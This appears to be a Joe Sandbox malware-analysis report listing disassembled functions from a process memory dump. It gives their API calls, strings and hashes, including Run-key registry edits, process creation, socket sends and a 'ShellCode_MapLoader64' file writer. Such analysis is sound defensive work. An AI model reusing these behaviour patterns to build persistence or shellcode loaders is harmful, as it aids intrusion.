Yara matches

Similarity

API ID: Message$ClassWindow$CreateDestroyDispatchErrorHandleLastModuleRegisterTranslateUnregister
String ID: {2C62FD04-7315-45E1-81CC-8E836772E64E}
API String ID: 1237952354-2543154685
Opcode ID: 1d5d3e7f1e2eac2bd7ea67f9950bb0886d2ddd34607480052f5632d741a32fd0
Instruction ID: b2fe93ae5cbcc52a02038c56ca66c6dff6bfca823f80c473319234cadc5e1402
Opcode Fuzzy Hash: 1d5d3e7f1e2eac2bd7ea67f9950bb0886d2ddd34607480052f5632d741a32fd0
Instruction Fuzzy Hash: 99312775248B81C2F7289B24F8947DA77A1FB94744F90502AD78E43A78DF3CC14ACB80

Function 011B4DC0 Relevance: 16.7, APIs: 11, Instructions: 228timeCOMMON

Download Yara Rule

APIs

Concurrency::details::platform::__ChangeTimerQueueTimer.LIBCMTD ref: 011B4DFF

Part of subcall function 011B34E0: send.WS2_32 ref: 011B350C

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Timer$ChangeConcurrency::details::platform::__Queuesend
String ID:
API String ID: 1596855159-0
Opcode ID: 36c340b5594caf7fedd5d2e1c5654e297a7404e4b9dd5892987c8b85f93f5022
Instruction ID: 338b6e2b0141d8c1dc6deceaa5041cbc11f493e3f67450da4a53349389812f94
Opcode Fuzzy Hash: 36c340b5594caf7fedd5d2e1c5654e297a7404e4b9dd5892987c8b85f93f5022
Instruction Fuzzy Hash: 71C1D6366097C0CAD7B9CB19E4847EAB7A1F788744F01811AE78A83B59DB79C485CF02

Function 011A4230 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 233synchronizationCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 011A42CE
SetEvent.KERNEL32 ref: 011A4479
WaitForSingleObject.KERNEL32 ref: 011A44E1
CloseHandle.KERNEL32 ref: 011A4544
CloseHandle.KERNEL32 ref: 011A45D8
VirtualFree.KERNEL32 ref: 011A4683
shutdown.WS2_32 ref: 011A475D
closesocket.WS2_32 ref: 011A4768

Part of subcall function 011B4DC0: Concurrency::details::platform::__ChangeTimerQueueTimer.LIBCMTD ref: 011B4DFF

Part of subcall function 011B4870: Concurrency::details::platform::__ChangeTimerQueueTimer.LIBCMTD ref: 011B48AF

Strings

d, xrefs: 011A440E

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Timer$ChangeCloseConcurrency::details::platform::__HandleQueue$EventFreeObjectSingleVirtualWaitclosesocketsetsockoptshutdown
String ID: d
API String ID: 1089388041-2564639436
Opcode ID: eb3c52e496b65605d03f19e217382a664853bb10ffbae4b472a6557e73bb4790
Instruction ID: ae96faa096626700d30aa9f0d1ccf63600bc08223041c76c8f40bdec90264e1d
Opcode Fuzzy Hash: eb3c52e496b65605d03f19e217382a664853bb10ffbae4b472a6557e73bb4790
Instruction Fuzzy Hash: 6CC13D36208F8085EB78DB04F4943EAA7A0F7D5754F914626D68E87BA8EF7CC195CB40

Function 011B3290 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 92threadsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 011B32E9
CloseHandle.KERNEL32 ref: 011B3336
CloseHandle.KERNEL32 ref: 011B335E
CreateEventW.KERNEL32 ref: 011B337E
CreateThread.KERNEL32 ref: 011B33B7
ResumeThread.KERNEL32 ref: 011B33FC
CloseHandle.KERNEL32 ref: 011B3413
CloseHandle.KERNEL32 ref: 011B341E

Strings

d, xrefs: 011B32C9

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateThread$EventObjectResumeSingleWait
String ID: d
API String ID: 144976343-2564639436
Opcode ID: f5f5c75b8162aad1a5c465ca517c8a5032cabfa6638f8675b1b353c44dc430bd
Instruction ID: 3d52f4005f01c57a8028791696e28bdd27051d3e061b9669a308ed9e45073c59
Opcode Fuzzy Hash: f5f5c75b8162aad1a5c465ca517c8a5032cabfa6638f8675b1b353c44dc430bd
Instruction Fuzzy Hash: 86419536218B8482DB18DB19F49439AB7B0F3C5B94F11512AEB9E47B68CF7DC495CB40

Function 011A38E0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 69memoryprocessCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 011A38F6
GetSystemDirectoryW.KERNEL32 ref: 011A3917
LocalAlloc.KERNEL32 ref: 011A392F

Part of subcall function 011A7E10: lstrlenW.KERNEL32 ref: 011A7E5C

Part of subcall function 011B84A8: _errno.LIBCMT ref: 011B84DF
Part of subcall function 011B84A8: _invalid_parameter_noinfo.LIBCMT ref: 011B84EA

CreateProcessW.KERNEL32 ref: 011A3A0E
LocalFree.KERNEL32 ref: 011A3A1E
LocalFree.KERNEL32 ref: 011A3A29
LocalFree.KERNEL32 ref: 011A3A3B
LocalFree.KERNEL32 ref: 011A3A46

Strings

h, xrefs: 011A39A4

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$CreateDirectoryProcessSystem_errno_invalid_parameter_noinfolstrlen
String ID: h
API String ID: 1407737935-2439710439
Opcode ID: 5cfd65f1d10050b0c964e5d9f941a3bb9fc1a00c6d635ad714ec9a61c2ba5579
Instruction ID: 0ab5a07ba9b99b94d33dd68bf6d57f731a4d7b46acc588e1ca83983ab3792f9b
Opcode Fuzzy Hash: 5cfd65f1d10050b0c964e5d9f941a3bb9fc1a00c6d635ad714ec9a61c2ba5579
Instruction Fuzzy Hash: 27311876218B8582E7289F50F49439ABBA1F7C4798F504129EB8987B68DFBCC449CF00

Function 01197840 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 51registrystringCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 0119786E

Part of subcall function 011B84A8: _errno.LIBCMT ref: 011B84DF
Part of subcall function 011B84A8: _invalid_parameter_noinfo.LIBCMT ref: 011B84EA

RegOpenKeyW.ADVAPI32 ref: 011978B3
lstrlenW.KERNEL32 ref: 011978C2
RegSetValueExW.ADVAPI32 ref: 011978F5
RegCloseKey.ADVAPI32 ref: 01197907
RegCloseKey.ADVAPI32 ref: 0119791C

Strings

{F711BB4E-52A0-4F2C-BD3A-54EB0B2E6079}, xrefs: 0119787C
{B754ECBA-7F6B-46D7-8AE7-AE4B2FDCD1C1}, xrefs: 011978E6
SOFTWARE\%s, xrefs: 01197883

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Close$FileModuleNameOpenValue_errno_invalid_parameter_noinfolstrlen
String ID: SOFTWARE\%s${B754ECBA-7F6B-46D7-8AE7-AE4B2FDCD1C1}${F711BB4E-52A0-4F2C-BD3A-54EB0B2E6079}
API String ID: 3731830441-3335224962
Opcode ID: e4ce0b43109d6df259eb14dcb2e7d2f80396993e1aa89159513a0b9c8b62aa1e
Instruction ID: e2dbee1c463089ec4859f0cf4f797bfa43509d49e2466e1b0f574d2f0fdb768e
Opcode Fuzzy Hash: e4ce0b43109d6df259eb14dcb2e7d2f80396993e1aa89159513a0b9c8b62aa1e
Instruction Fuzzy Hash: 61112431324A8491DB68DF25F8947DA73A1FB84B95F80112ADB5E836A8EF7CC145CB44

Function 011C1434 Relevance: 15.2, APIs: 10, Instructions: 206COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 011C14CE
malloc.LIBCMT ref: 011C1537
MultiByteToWideChar.KERNEL32 ref: 011C156B
LCMapStringW.KERNEL32 ref: 011C1592
LCMapStringW.KERNEL32 ref: 011C15DA
malloc.LIBCMT ref: 011C1637

Part of subcall function 011BC7A8: _FF_MSGBANNER.LIBCMT ref: 011BC7D8
Part of subcall function 011BC7A8: HeapAlloc.KERNEL32(?,?,?,011C06FC,?,?,00000000,011C0C0D,?,?,?,011C0CB7,?,?,00000000,011BACB5), ref: 011BC7FD
Part of subcall function 011BC7A8: _callnewh.LIBCMT ref: 011BC816
Part of subcall function 011BC7A8: _errno.LIBCMT ref: 011BC821
Part of subcall function 011BC7A8: _errno.LIBCMT ref: 011BC82C

LCMapStringW.KERNEL32 ref: 011C166C
WideCharToMultiByte.KERNEL32 ref: 011C16AC
free.LIBCMT ref: 011C16C0
free.LIBCMT ref: 011C16D1

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: ByteCharMultiStringWide$_errnofreemalloc$AllocHeap_callnewh
String ID:
API String ID: 1080698880-0
Opcode ID: 775727bf0992f1fd30e19aae136c0ffe87d5617b5013afb31929f2c8c6fdd627
Instruction ID: 3f089e51c3b36a9a2f19d6ee81ecff365cdb634272bcb0fc812996359f442804
Opcode Fuzzy Hash: 775727bf0992f1fd30e19aae136c0ffe87d5617b5013afb31929f2c8c6fdd627
Instruction Fuzzy Hash: B871D632740B80D6DB2C9F29D880399BBA5F769FE8F584229EB5D43B95DB78C101C700

Function 011C105C Relevance: 15.1, APIs: 10, Instructions: 123COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 011C10A3
_invalid_parameter_noinfo.LIBCMT ref: 011C10AF
_errno.LIBCMT ref: 011C10F9
_errno.LIBCMT ref: 011C1104
_errno.LIBCMT ref: 011C1136
_invalid_parameter_noinfo.LIBCMT ref: 011C1140
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,011C122F), ref: 011C11B2
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,011C122F), ref: 011C11CF
_errno.LIBCMT ref: 011C11F5
_invalid_parameter_noinfo.LIBCMT ref: 011C1201

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: _errno$_invalid_parameter_noinfo$ByteCharErrorLastMultiWide
String ID:
API String ID: 2295021086-0
Opcode ID: 1022d87718d735e22826c2420f752dd04f721ba2b59c7e068789ea1ebcbc5462
Instruction ID: bd6f7f26f2b625dbe70996cf22134609fd052ab3af547b74340d3b94ce6990a3
Opcode Fuzzy Hash: 1022d87718d735e22826c2420f752dd04f721ba2b59c7e068789ea1ebcbc5462
Instruction Fuzzy Hash: 0441E8327417C1EAFB2D9F79C5803ED7A60FBA5FA8F144228DF5607A96CB3880528711

Function 01195AD0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 71fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 01195AFE
_LDint.LIBCPMTD ref: 01195B15

Part of subcall function 011B84A8: _errno.LIBCMT ref: 011B84DF
Part of subcall function 011B84A8: _invalid_parameter_noinfo.LIBCMT ref: 011B84EA

CreateFileW.KERNEL32 ref: 01195B93
WriteFile.KERNEL32 ref: 01195BF0
CloseHandle.KERNEL32 ref: 01195C13
CloseHandle.KERNEL32 ref: 01195C28
DeleteFileW.KERNEL32 ref: 01195C36

Strings

%s\ShellCode_MapLoader64, xrefs: 01195B42

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: File$CloseHandle$CreateDeleteDintModuleNameWrite_errno_invalid_parameter_noinfo
String ID: %s\ShellCode_MapLoader64
API String ID: 797432855-674329531
Opcode ID: 60f46556b92870cccfb019baeea503ecb8a560fc55a27509f804e55b63d6c3b6
Instruction ID: 67178758424393e9a832f0071cdbb6ae48de1c1b6586a6367a6a644303ead6ea
Opcode Fuzzy Hash: 60f46556b92870cccfb019baeea503ecb8a560fc55a27509f804e55b63d6c3b6
Instruction Fuzzy Hash: 9B311572228AC486DB74DB24F8983DA6365F784764F800326C7A983AA8DF3DC509CB44

Function 0119F370 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 30registryCOMMON

Download Yara Rule

APIs

RegOpenKeyW.ADVAPI32 ref: 0119F390
RegDeleteValueW.ADVAPI32 ref: 0119F3A6
RegCloseKey.ADVAPI32 ref: 0119F3B1
RegOpenKeyW.ADVAPI32 ref: 0119F3D3
RegDeleteValueW.ADVAPI32 ref: 0119F3E9
RegCloseKey.ADVAPI32 ref: 0119F3F4

Strings

SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 0119F3C5
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0119F382

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseDeleteOpenValue
String ID: SOFTWARE\Microsoft\Windows\CurrentVersion\Run$Software\Microsoft\Windows\CurrentVersion\Run
API String ID: 849931509-2226521311
Opcode ID: fb276229a674de8715936c9b58969c6cc9acf20c30ef889c208bad92fac1ddce
Instruction ID: f76a5665491e86aebd43a4a427dc0042f9b29fab6f697da145b9b9206e2b6fcd
Opcode Fuzzy Hash: fb276229a674de8715936c9b58969c6cc9acf20c30ef889c208bad92fac1ddce
Instruction Fuzzy Hash: B801F475214A45D2EF28DF55E8543D57370F784B59F800229EEAE426B8DF2CC24AD744

Function 011B0AC0 Relevance: 13.6, APIs: 9, Instructions: 148memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 011B0B2C
und_memcpy.LIBCMTD ref: 011B0B5F
und_memcpy.LIBCMTD ref: 011B0B85
VirtualAlloc.KERNEL32 ref: 011B0BA9
LocalFree.KERNEL32 ref: 011B0BCA

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: AllocLocalund_memcpy$FreeVirtual
String ID:
API String ID: 2616075706-0
Opcode ID: 2a9f05bee8dbbb8b72bb69cf12b0853c41c36a6a931afabf8e845caff4e88dcf
Instruction ID: 7e64f5a0d29a3540781b806cd13b122452247720baa75921b29a33efa0cbcecb
Opcode Fuzzy Hash: 2a9f05bee8dbbb8b72bb69cf12b0853c41c36a6a931afabf8e845caff4e88dcf
Instruction Fuzzy Hash: B981AE767096C09ADBB4CB19E4907EBB7A0E7C9784F408026EB8987B58DF3CD5848F40

Function 011BE7A0 Relevance: 13.6, APIs: 9, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

_lock.LIBCMT ref: 011BE7C9

Part of subcall function 011C0C94: _amsg_exit.LIBCMT ref: 011C0CBE

DecodePointer.KERNEL32(?,?,?,?,?,00000000,00000000,011BE98D,?,?,00000000,011C0CC3,?,?,00000000,011BACB5), ref: 011BE7FC
DecodePointer.KERNEL32(?,?,?,?,?,00000000,00000000,011BE98D,?,?,00000000,011C0CC3,?,?,00000000,011BACB5), ref: 011BE81A
DecodePointer.KERNEL32(?,?,?,?,?,00000000,00000000,011BE98D,?,?,00000000,011C0CC3,?,?,00000000,011BACB5), ref: 011BE85A
DecodePointer.KERNEL32(?,?,?,?,?,00000000,00000000,011BE98D,?,?,00000000,011C0CC3,?,?,00000000,011BACB5), ref: 011BE874
DecodePointer.KERNEL32(?,?,?,?,?,00000000,00000000,011BE98D,?,?,00000000,011C0CC3,?,?,00000000,011BACB5), ref: 011BE884
_initterm.LIBCMT ref: 011BE8C4
_initterm.LIBCMT ref: 011BE8D7
ExitProcess.KERNEL32 ref: 011BE910

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: DecodePointer$_initterm$ExitProcess_amsg_exit_lock
String ID:
API String ID: 3873167975-0
Opcode ID: a1f47c094e4e4953c5fab44b72d2a893ed509ee766285a7135e593ee47be9210
Instruction ID: e35d620c3a3b4a73f32c12ba47f167b4e9b5c86e3047e7a46fc5dc62721afdbb
Opcode Fuzzy Hash: a1f47c094e4e4953c5fab44b72d2a893ed509ee766285a7135e593ee47be9210
Instruction Fuzzy Hash: 19316631212F5182EA589B15FCC43DAA6A5FB88BD8F040539EB8E43B64EF38C496C740

Function 011A4780 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 139COMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 011A482D
shutdown.WS2_32 ref: 011A4B57
closesocket.WS2_32 ref: 011A4B62

Part of subcall function 011B4DC0: Concurrency::details::platform::__ChangeTimerQueueTimer.LIBCMTD ref: 011B4DFF

Strings

, xrefs: 011A49BE
#, xrefs: 011A49DF
!, xrefs: 011A49C9
", xrefs: 011A49D4

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Timer$ChangeConcurrency::details::platform::__Queueclosesocketsetsockoptshutdown
String ID: $!$"$#
API String ID: 2104284462-1968938309
Opcode ID: a043c244513a51406772d522da2fb0a37924ee5b3aedf25c67c640e4eaa52c9a
Instruction ID: 6c70abd014d71e1a464d3a14f0cb5c72064572cc410416944f6042753f1b9da2
Opcode Fuzzy Hash: a043c244513a51406772d522da2fb0a37924ee5b3aedf25c67c640e4eaa52c9a
Instruction Fuzzy Hash: 0D819F76208BC58AE7748F05E4883DABBA4F3D8348F544129D6C94BB99DBBEC148CF40

Function 011B32BF Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 73threadsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 011B32E9
CloseHandle.KERNEL32 ref: 011B3336
CloseHandle.KERNEL32 ref: 011B335E
CreateEventW.KERNEL32 ref: 011B337E
CreateThread.KERNEL32 ref: 011B33B7
ResumeThread.KERNEL32 ref: 011B33FC

Strings

d, xrefs: 011B32C9

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
